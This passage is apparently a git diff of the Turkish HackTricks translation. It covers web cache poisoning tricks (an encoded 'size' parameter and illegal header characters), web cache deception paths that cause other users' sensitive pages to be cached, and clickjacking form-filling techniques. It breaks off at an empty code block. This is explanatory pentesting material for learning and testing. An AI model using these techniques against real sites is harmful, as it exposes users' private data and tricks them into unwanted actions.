yanıtlarını önbelleğe almaktan vazgeçmiş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir. ### Anahtarlı Parametreler Enjekte Etme -Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alırdı. Ancak, URL kodlanmış bir sürümü (örneğin, `siz%65`) yanlış bir değerle birlikte gönderildiğinde, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulurdu. Ancak, arka uç URL kodlanmış parametreyi işlerdi. İkinci `size` parametresini URL kodlamak, önbellek tarafından atlanmasına ancak arka uç tarafından kullanılmasına neden olurdu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucu verirdi. +Önbellekler genellikle özel GET parametrelerini önbellek anahtarında saklar. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, URL kodlanmış bir sürümü (örneğin, `siz%65`) yanlış bir değerle birlikte gönderildiğinde, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulurdu. Ancak, backend, URL kodlanmış parametreyi işlerdi. İkinci `size` parametresini URL kodlayarak, önbellek tarafından atlanmasına ve backend tarafından kullanılmasına neden olunurdu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucu verirdi. ### Kullanıcı Ajanı Kuralları @@ -160,17 +160,17 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y ### Yasadışı Başlık Alanları -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak bir 400 Hatalı İstek yanıtı tetiklemelidir. Uygulamada sunucular her zaman bu standartlara uymazlar. Akamai gibi belirgin bir örnek, geçersiz karakterler içeren başlıkları iletir ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alır. Geçerli olmayan bir karakter içeren bir başlık göndermenin, örneğin `\`, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucu vereceği bir açıklanabilir model belirlendi. +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak 400 Hatalı İstek yanıtını tetiklemelidir. Uygulamada sunucular her zaman bu standartlara uymazlar. Akamai gibi belirli bir örnek, geçersiz karakterler içeren başlıkları iletir ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alır. Geçersiz bir karakter içeren bir başlık göndermenin, örneğin `\`, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucu vereceği bir açıklanabilir model belirlendi. -### Yeni başlıklar bulma +### Yeni Başlıklar Bulma [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) -## Önbellek Aldatmacası +## Önbellek Dolandırıcılığı -Önbellek Aldatmacasının amacı, istemcilerin **duyarlı bilgileriyle birlikte önbelleğe kaydedilecek kaynakları yüklemesini sağlamaktır**. +Önbellek Dolandırıcılığının amacı, istemcilerin **önbellekte saklanacak kaynakları** hassas bilgileriyle birlikte **yüklemesini sağlamaktır**. -Öncelikle **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **ayarlandığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'ye erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü **.js** **uzantısını** görür. Ancak, **uygulama** _www.example.com/profile.php_'de saklanan **duyarlı** kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**. +Öncelikle, `.css`, `.js`, `.png` gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'e erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü `.js` **uzantısını** görür. Ancak, **uygulama** _www.example.com/profile.php/_ içinde **saklanan** hassas kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**. Test edilecek diğer şeyler: @@ -179,15 +179,15 @@ Test edilecek diğer şeyler: * _www.example.com/profile.php/test.js_ * _www.example.com/profile.php/../test.js_ * _www.example.com/profile.php/%2e%2e/test.js_ -* _`.avif` gibi daha az bilinen uzantıları kullanın_ +* _.avif_ gibi daha az bilinen uzantıları **kullanın** -Bu konuda çok açık bir örnek, bu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, önceki erişen kullanıcıların **duyarlı bilgileriyle** _http://www.example.com/home.php_'nin içeriği geri dönecek ve önbellek sunucusu sonucu kaydedecektir.\ -Ardından, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceki erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir. +Bu yazıda çok açık bir örnek bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, _http://www.example.com/home.php_ içeriği (**kullanıcının hassas bilgileriyle**) dönecek ve önbellek sunucusu sonucu kaydedecektir.\ +Ardından, **saldırgan** kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceden erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir. -Önbellek **proxy**'sinin dosyaları **içerik türüne** göre değil, dosya uzantısına göre önbelleğe alacak şekilde **ayarlanmış** olması gerektiğini unutmayın (_.css_). Örneğin _http://www.example.com/home.php/non-existent.css_ önbellek anahtarında `text/css` mime türü yerine `text/html` içerik türüne sahip olacaktır (beklenen _.css_ dosyası için). +Önbellek **proxy**'sinin dosyaları **içerik türüne** göre değil, dosya uzantısına göre önbelleğe alacak şekilde **yapılandırılması** gerektiğini unutmayın (_.css_). Örneğin, _http://www.example.com/home.php/non-existent.css_ örneğinde bir `text/html` içerik türü olacak ve bir `text/css` mime türü (beklenen _.css_ dosyası için) olmayacaktır. -[HTTP İsteği Kaçırarak Web Önbellek Aldatmacaları Sömürme](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) hakkında buradan bilgi edinin. +[HTTP İsteği Kaçırarak Web Önbellek Dolandırıcılığını Sömürme](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) hakkında buradan bilgi edinin. ## Otomatik Araçlar @@ -202,21 +202,23 @@ Ardından, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.p * [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) * [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) -
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: - {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! + +Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek hackleme hilelerinizi paylaşın. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. + +
diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index aa8b780f3..82c08cd18 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -2,39 +2,37 @@
-AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Clickjacking Nedir -Clickjacking saldırısında, bir **kullanıcı**, **görünmez** veya farklı bir öğe gibi **kamuoyunda** yer alan bir **öğeye tıklamaya kandırılır**. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılımın indirilmesi, kötü niyetli web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya çevrimiçi ürün satın alımı. +Clickjacking saldırısında, bir **kullanıcı** ya **görünmez** ya da farklı bir öğe olarak **kamuflaj yapmış** bir web sayfasındaki bir **öğeyi tıklamaya kandırılır**. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılım indirme, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin online satın alınması gibi. ### Formları Önceden Doldurma Hilesi -Bazen bir sayfa yüklenirken GET parametrelerini kullanarak bir formun alanlarının değerini **doldurmak mümkün olabilir**. Bir saldırgan, bu davranışı kötüye kullanarak bir formu keyfi verilerle doldurabilir ve kullanıcının düğmeye tıklamasını sağlayacak clickjacking yükünü gönderebilir. +Bazen bir sayfayı yüklerken GET parametrelerini kullanarak bir formun alanlarının değerini **doldurmak mümkün olabilir**. Bir saldırgan, bir formu keyfi verilerle doldurmak ve kullanıcının düğmeyi Gönder'e basmasını sağlamak için clickjacking yükünü gönderebilir. ### Formu Sürükle ve Bırak ile Doldurma -Kullanıcının bir formu **doldurmasını** istiyorsanız, ancak doğrudan belirli bir bilgiyi (örneğin e-posta veya belirli bir şifreyi) yazmasını istemiyorsanız, sadece kontrol ettiğiniz verileri yazacak bir şeyi **Sürükle ve Bırak** yapmasını isteyebilirsiniz, [**bu örnekte olduğu gibi**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). - -### Temel Payload +Kullanıcının bir formu **doldurmasını** istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi **Sürükle ve Bırak** etmesini isteyebilirsiniz, örneğin [**bu örnekte**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). ```markup